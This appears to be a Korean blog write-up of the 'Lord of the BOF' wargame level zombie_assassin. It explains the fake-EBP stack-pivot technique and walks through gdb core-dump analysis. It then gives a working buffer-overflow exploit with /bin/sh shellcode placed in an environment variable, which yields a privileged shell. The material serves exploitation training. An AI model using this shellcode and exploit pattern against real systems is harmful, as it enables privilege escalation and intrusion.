/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
이번 문제의 힌트를 보면 "Fake EBP"라고 나와있다.
조건은 다음과 같다.
1. argv[1][47]의 값이 "\xbf", "\x40"이 되면 안된다.
2. strcpy과 아닌 strncpy로 48 byte만 카피한다.
전 문제와 같이 "\xbf"영역(Stack), "\x40"영역(Libc)을 사용하지 못하므로 text segment를 사용한다.
하지만 48 byte만 입력받기 때문에 "RET SELD"는 불가능하다.
이번 문제의 힌트인 "Fake EBP" 기법을 이용하여 풀어야 한다.
프로그램의 에필로그 부분의 leave와 ret 두 개를 이용해야 하는데
leave는 mov esp, ebp / pop ebp 를 수행하고, ret는 pop eip / jmp eip 를 수행한다.
처음 leave를 거칠 때 strncpy로 인하여 덮여진 sfp영역의 4byte 값이 ebp로 세팅된다. (pop ebp)
ret 를 만나면 pop eip / jmp eip 과정을 거치며 해커가 덮은 leave의 주소로 jmp하게 된다.
두 번째 leave를 거칠 때 mov esp, ebp 과정을 지나면 esp에는 해커가 덮은 sfp의 값이 담기게 되며,
Stack의 현 위치를 가리키는 esp 값이 바뀌게 된다. 이 과정을 esp handling 이라고 부른다.
이 상태로 ret를 한번 더 만나 pop eip를 할 경우 esp에 있는 값이 담기게 된다.
우선은 text segment의 주소를 구한 뒤, 일부러 segement fault를 일으켜 core dump를 분석한다.
[assassin@localhost assassin]$ cp ./zombie_assassin ./jombie_assassin
[assassin@localhost assassin]$ gdb ./jombie_assassin
(gdb) set disassembly-flavor intel
(gdb) disassemble main
~~~
[assassin@localhost assassin]$ ./jombie_assassin "`python -c 'print "A"*36+"BBBB"+"CCCC"+"\xdf\x84\x04\x08"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC߄
Segmentation fault (core dumped)
[assassin@localhost assassin]$ gdb ./jombie_assassin core
(gdb) info reg
eax 0x32
ecx 0x400
edx 0x40106980
ebx 0x401081ec
esp 0xbffffac0
ebp 0x43434343 <- CCCC
esi 0x4000ae60
edi 0xbffffb04
eip 0x80484df <- 0x80484df <main+159>: leave
(gdb) x/80wx $esp-0x50
~~~
0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141 <- Buffer 영역
0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa20: 0x41414141 0x42424242 0x43434343 0x080484df <- payload에 사용되는 영역 (32 byte)
~~~
알아낸 정보를 사용하여 payload를 만들면 다음과 같다.
paylaod = [dummy] 36 byte + [환경변수] 4 byte + [0xbffffa20] 4 byte + [0x080484df] 4 byte
환경변수에 쉘 코드를 등록한 뒤 exploit 하면 된다.
[assassin@localhost assassin]$ export f1ay="`python -c 'print "\x90"*100+"\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x0b\x58\x99\x52\x68//sh\x68/bin\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`"
// 환경변수 주소 구하는 소스
#include <stdio.h>
int main()
{
printf("f1ay offset = %p\n", getenv("f1ay"));
return 0;
}
[assassin@localhost assassin]$ gcc -o ./get_env ./get_env.c
[assassin@localhost assassin]$ ./get_env
f1ay offset = 0xbffffe84
쉘 코드가 담긴 환경변수의 주소는 "0xbffffe84"이다.
이제 알려진 정보들을 이용하여 exploit을 하여 zombie_assasin의 권한을 얻으면 된다.
[assassin@localhost assassin]$ ./zombie_assassin "`python -c 'print "A"*36+"\x84\xfe\xff\xbf"+"\x20\xfa\xff\xbf"+"\xdf\x84\x04\08"'`"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAþÿ¿ ߄
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
풀이에는 정석이 없다.
다른 방법은 수 없이 많이 존재한다.
'# write-up > - Lord of Bof' 카테고리의 다른 글
[LOB] nightmare -> xavius (0) | 2016.12.08 |
---|---|
[LOB] succubus -> nightmare (0) | 2016.12.08 |
[LOB] zombie_assassin -> succubus (0) | 2016.12.08 |
[LOB] giant -> assassin (0) | 2016.12.07 |
[LOB] bugbear -> giant (0) | 2016.12.06 |